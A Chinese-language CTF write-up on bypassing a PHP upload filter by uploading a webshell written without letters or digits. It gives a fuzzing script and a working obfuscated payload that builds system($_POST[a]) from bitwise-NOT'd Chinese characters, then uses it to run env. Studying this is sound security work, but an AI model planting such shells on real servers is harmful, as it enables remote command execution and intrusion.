不包含数字和字母的webshell

不包含数字和字母的webshell

打开页面,发现有个文件上传,同时看到有一串代码

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

通过对代码的审计,我们可以发现,它对我们上传文件的内容有字符数量的限制和字符的过滤,所以我们可以写个exp来fuzz一下

1
2
3
4
5
with open("shell.txt","w") as f:
for i in range(127):
if i>=32:
f.write(chr(i)+chr(i)+chr(i)+chr(i)+chr(i)+'\n')
f.close()

发现几乎所有的字母和数字都被过滤了,因此我们可以想使用不包含数字和字母的webshell,来传马,因此,我们可以利用UTF-8编码中的某个汉字,然后将其某个某个字符取出来,然后取反的操作,即

1
2
3
4
5
6
7
8
9
<?php
$_=[];
$__=$_.$_;
$___=($_==$__);
$____=($_==$_);
echo ~('区'{1});

echo ~区[$____];
?>

所以我们可以利用这种方式构造上传的马,为了方便,我们的php开头可以使用短标签<?=,因此exp

1
2
3
4
5
6
7
8
<?=                //PHP中的另外一个短标签<?=,代替<?php
$_=[]; //array
$__=$_.$_; //arrayarray
$_=($_==$__); //不成立 false -->0
$__=($_==$_); //成立 true -->1
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__]; //system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__]; //_Post
$___($$____[~瞎[$__]]); //system($_POST[a]);

提交后,我们可以得到文件的路径,然后我们构造payload

1
2
3
4
http://ip/upload/d30c18bfaf06a96a29e316bbb21b7ac9.php

post提交
a=env

env是显示当前系统中已存在的环境,因为我们在系统目录中找不到flag,所以我们可以使用env,看一下flag是否存在

参考文章:[https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html]

[https://blog.csdn.net/qq_46263951/article/details/118816182?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link]